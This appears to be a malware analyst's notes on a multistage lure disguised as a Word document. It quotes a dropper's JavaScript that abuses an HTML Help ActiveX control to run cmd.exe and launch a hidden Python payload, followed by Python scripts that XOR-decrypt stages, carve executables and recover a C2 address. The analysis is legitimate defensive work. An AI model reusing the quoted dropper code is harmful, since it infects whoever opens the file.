function loaded() {
            var Y = location.href.lastIndexOf('::')
            var path = location.href.substring(14, Y);
            path = path.split("%20").join(" ");
            at.style.display = 'none';
            aa.innerHTML += '<OBJECT id=a classid="clsid:41B23C28-488E-4E5C-ACE2-BB0BBABE99E8"><PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Text:&nbsp;&nbsp;Yes&nbsp;&nbsp;"><PARAM name="Item1" value=",cmd.exe, /c start /min cmd /c &quot;hh -decompile %tmp%\\rupt ' + path + ' &&set PYTHONHOME=&& start /min cmd /c %tmp%\\rupt\\_MecerYleDG\\_WcWWXugOou\\_pJifgWSwPi.exe %tmp%\\rupt\\_MecerYleDG\\_xSiWWWuYLk.pyc&quot;"><PARAM name="Item2" value="273,1,1"></OBJECT>';
            bt.style.display = 'none';
            bb.innerHTML += '<OBJECT id=b classid="clsid:41B23C28-488E-4E5C-ACE2-BB0BBABE99E8"><PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Text:&nbsp;&nbsp;No&nbsp;&nbsp;&nbsp;"><PARAM name="Item1" value=",cmd.exe, /c start /min cmd /c &quot;hh -decompile %tmp%\\rupt ' + path + ' &&set PYTHONHOME=&& start /min cmd /c %tmp%\\rupt\\_MecerYleDG\\_WcWWXugOou\\_pJifgWSwPi.exe %tmp%\\rupt\\_MecerYleDG\\_xSiWWWuYLk.pyc&quot;"><PARAM name="Item2" value="273,1,1"></OBJECT>';
        }
        window.onload = loaded;

for (i = 0; i < data_size; i++)  
{  
	pPlaintext[i] = pCiphertext[i] ^ pKey[i % 8];  
}

import os

# byte_180028738
KEY_1 = bytes([0xD6, 0xC7, 0xDC, 0xF9, 0xEA, 0xC9, 0xA3, 0xE5])
# byte_180027B18
KEY_2 = bytes([0xC5, 0xD9, 0xC6, 0xA9, 0xAF, 0xD4, 0xA6, 0xDD])

FILE_NAME = "Word Document - 2026 BBBC.docx"

def xor_data(data, key):
    return bytearray(b ^ key[i % 8] for i, b in enumerate(data))

def main():
    if not os.path.exists(FILE_NAME):
        print(f"[-] Error: {FILE_NAME} not found in current directory.")
        return

    with open(FILE_NAME, "rb") as f:
        ciphertext = f.read()
    
    print(f"[*] Loaded {len(ciphertext)} bytes from {FILE_NAME}")

    # --- Stage 1: Global Decryption ---
    print("[*] Running Stage 1 decryption...")
    stage1_buffer = xor_data(ciphertext, KEY_1)

    # --- Stage 2: Payload Carving ---
    # Find the 'MZ' header. 
    # 0x4D ^ 0xC5 = 0x88 | 0x5A ^ 0xD9 = 0x83
    target_header = bytes([0x88, 0x83])
    offset = stage1_buffer.rfind(target_header)

    if offset == -1:
        print("[-] Error: Could not find Stage 2 payload signature. Check Key 1.")
        return

    print(f"[+] Found Stage 2 payload start at offset: {hex(offset)}")
    payload_encrypted = stage1_buffer[offset:]

    # --- Stage 3: Final Decryption ---
    print("[*] Running Stage 2 decryption...")
    final_payload = xor_data(payload_encrypted, KEY_2)

    output_file = "decrypted_payload.exe"
    with open(output_file, "wb") as f:
        f.write(final_payload)

    print(f"[+] Success! Stage 2 EXE extracted to: {output_file}")
    print(f"[*] Payload Size: {len(final_payload)} bytes")

if __name__ == "__main__":
    main()

v18 = FileSize - v16;
v19 = &v6[v18];
v20 = (char *)operator new(v16);

v10 = Decrypt_XOR((__int64)&unk_180027E9C, dword_180027E98, (__int64)Layer1_Key);

import os
import struct

# --- Keys & Constants ---
KEY_1 = bytes([0xD6, 0xC7, 0xDC, 0xF9, 0xEA, 0xC9, 0xA3, 0xE5])
KEY_2 = bytes([0xC5, 0xD9, 0xC6, 0xA9, 0xAF, 0xD4, 0xA6, 0xDD])
FILE_NAME = "Word Document - 2026 BBBC.docx"

CONTAINER_SIZE = 5737851 

def xor_data(data, key):
    """Applies a repeating 8-byte XOR key."""
    return bytearray(b ^ key[i % 8] for i, b in enumerate(data))

def read_chunk(data, offset):
    """
    The C++ 'Parser' replica.
    Safely reads a Length-Value chunk.
    """
    if offset + 4 > len(data):
        return None, offset 

    # Read the 4-byte size header
    size = struct.unpack_from("<I", data, offset)[0]
    data_start = offset + 4

    # Sanity checks: 0 bytes, >50MB, or exceeds buffer
    if size == 0 or size > 50_000_000 or data_start + size > len(data):
        return None, offset

    # Safe extraction
    return data[data_start : data_start + size], data_start + size

def main():
    if not os.path.exists(FILE_NAME):
        print(f"[-] Error: {FILE_NAME} not found.")
        return

    with open(FILE_NAME, "rb") as f:
        ciphertext = f.read()
    
    file_size = len(ciphertext)
    print(f"[*] Loaded {file_size} bytes from '{FILE_NAME}'")

    if file_size < CONTAINER_SIZE:
        print("[-] Error: File is smaller than the expected container size.")
        return

    # --- Stage 1: Global Decryption ---
    print("[*] Running Stage 1 decryption (Global XOR)...")
    stage1_buffer = xor_data(ciphertext, KEY_1)

    # --- The _wtoi Offset Math ---
    # v18 = FileSize - v16;
    container_offset = file_size - CONTAINER_SIZE
    print(f"[+] Container mathematically located at offset: {hex(container_offset)}")
    
    # v19 = &v6[v18];
    container_encrypted = stage1_buffer[container_offset:]

    # --- Stage 2: Clean Decryption ---
    # Because v21 = 0 in the C++, we start KEY_2 cleanly at index 0
    print("[*] Decrypting Container with Key 2...")
    container_decrypted = xor_data(container_encrypted, KEY_2)

    # --- Parse the LV Chunks ---
    print("[*] Parsing Length-Value Chunks...")
    parsed_chunks = []
    offset = 0
    
    while offset < len(container_decrypted):
        chunk_data, next_offset = read_chunk(container_decrypted, offset)
        if chunk_data is None:
            break
            
        parsed_chunks.append(chunk_data)
        offset = next_offset

    if not parsed_chunks:
        print("[-] Failed to parse LV chunks. Check your CONTAINER_SIZE.")
        return

    print(f"[+] Successfully extracted {len(parsed_chunks)} embedded chunks!")
    print("-" * 45)

    # --- Save the Chunks ---
    for i, chunk in enumerate(parsed_chunks):
        if chunk.startswith(b'MZ'):
            file_name = f"chunk_{i}_loader.exe"
            file_type = "Executable"
        else:
            file_name = f"chunk_{i}_data.bin"
            file_type = "Data Blob"
            
        with open(file_name, "wb") as f:
            f.write(chunk)
            
        print(f"[>] Saved: {file_name:<20} | Type: {file_type:<10} | Size: {len(chunk):>8} bytes")

if __name__ == "__main__":
    main()

import base64
import zlib

# The 10-byte XOR key from the C# code
XOR_KEY = bytes([196, 169, 174, 251, 247, 168, 252, 233, 227, 166])

# Paste the massive Base64 string from your .bin file here:
B64_PAYLOAD = "KBTXZ6vtKdafHSpE1YBsDVuOWYH3YFrfli637nGWqBrKYvO<SNIP>"

def main():
    print("[*] Decoding Base64...")
    encrypted_data = base64.b64decode(B64_PAYLOAD)

    print("[*] Applying XOR Decryption...")
    decrypted_data = bytearray()
    key_len = len(XOR_KEY)
    for i in range(len(encrypted_data)):
        decrypted_data.append(encrypted_data[i] ^ XOR_KEY[i % key_len])

    print("[*] Decompressing Deflate Stream...")
    try:
        # -15 forces zlib to decompress a raw deflate stream (no zlib headers)
        final_dll = zlib.decompress(decrypted_data, -15)
        
        output_name = "Stage3_Final_Payload.dll"
        with open(output_name, "wb") as f:
            f.write(final_dll)
            
        print(f"[+] Success! Extracted final payload to: {output_name}")
        print(f"[+] Final DLL Size: {len(final_dll)} bytes")
        
    except zlib.error as e:
        print(f"[-] Decompression failed. Ensure the Base64 string is complete. Error: {e}")

if __name__ == "__main__":
    main()

import base64

B64_STRING = "AiUOJAogCCQDLwBWe1BqcX5OeGECLwwiDnl+TQpicnFsW0MiYi4DYXx4A1B4Jw=="

def main():
    print("[*] Decoding Base64 Payload...")
    encrypted_data = bytearray(base64.b64decode(B64_STRING))
    
    print("[*] Applying Hardcoded Stage 3 XOR Logic...")
    
    # We will replicate the C# exactly as the author wrote it
    
    # Pass 1: XOR all bytes with 206
    for i in range(len(encrypted_data)):
        encrypted_data[i] ^= 206
        
    # Pass 2: XOR even indices with 244, odd indices with 217
    for i in range(len(encrypted_data)):
        if i % 2 == 0:
            encrypted_data[i] ^= 244
        else:
            encrypted_data[i] ^= 217

    # The C# code uses Encoding.ASCII.GetString() at the end
    c2_server = encrypted_data.decode('ascii')
    
    print("\n[+] SUCCESS! Command & Control Server Extracted:")
    print(f"    -> {c2_server}")

if __name__ == "__main__":
    main()